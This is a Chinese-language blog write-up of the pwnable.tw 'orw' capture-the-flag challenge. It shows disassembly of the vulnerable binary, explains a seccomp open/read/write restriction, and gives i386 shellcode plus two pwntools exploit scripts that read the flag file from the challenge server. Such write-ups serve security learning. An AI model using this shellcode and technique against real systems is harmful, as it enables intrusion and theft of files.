【CTF-PWN】pwnable.tw_orw
2018-05-28 本文已影响60人
Kirin_say
pwnable.tw_challenge_orw
载入IDA分析:
0x01 main
lea ecx, [esp+4]
and esp, 0FFFFFFF0h
push dword ptr [ecx-4]
push ebp
mov ebp, esp
push ecx
sub esp, 4
call orw_seccomp
sub esp, 0Ch
push offset format ; "Give my your shellcode:"
call _printf
add esp, 10h
sub esp, 4
push 0C8h ; nbytes
push offset shellcode ; buf
push 0 ; fd
call _read
add esp, 10h
mov eax, offset shellcode
call eax ; shellcode
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn
这里很简单:
1 读入我们输入的shellcode
2 自动调用我们的shellcode:
mov eax, offset shellcode
call eax ; shellcode
0x02 seccomp
首先直接尝试了调用sys_execve来获取shell,结果失败
重新看程序,发现了orw_seccomp,猜测这里使用seccomp白名单的保护机制来限制我们对系统调用(system call)的函数调用
这里我们的目的是读取flag文件
为了绕过seccomp,我们不用获取shell
只需要利用:
sys_open
sys_read
sys_write
来读取/home/orw/flag文件即可(官网:The flag is usually at /home/xxx/flag)
0x03 shellcode
xor ecx,ecx
push ecx ;字符串结尾00
push 0x67616c66
push 0x2f77726f
push 0x2f656d6f
push 0x682f2f2f
mov ebx,esp ;const char __user *filename
xor edx,edx ;int mode
mov eax,0x5 ;sys_open
int 0x80
mov ebx,eax ;int fd
mov ecx,esp ;char __user *buf
mov edx,0x30 ;size_t count
mov eax,0x3 ;sys_read
int 0x80
mov eax,0x4 ;sys_write
mov ebx,0x1 ;int fd=1 (标准输出stdout)/(0 标准输入, 1 标准输出,2 标准错误)
mov edx,0x30 ;size_t count
int 0x80
或者直接利用shellcraft构造:
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
0x04 EXP
from pwn import *
p = remote('chall.pwnable.tw',10001)
p.recvuntil(':')
shellcode = "xor ecx,ecx;push ecx;push 0x67616c66;push 0x2f77726f;push 0x2f656d6f;push 0x682f2f2f;mov ebx,esp;xor edx,edx;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"
p.send(asm(shellcode))
p.interactive()
或者:
from pwn import *
p = remote("chall.pwnable.tw", 10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp') #shellcraft.i386.linux.syscall("SYS_open", 'esp', 'O_RDONLY', 0)(O_RDONLY只读模式,O_WRONLY只写模式,O_RDWR读写模式)
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()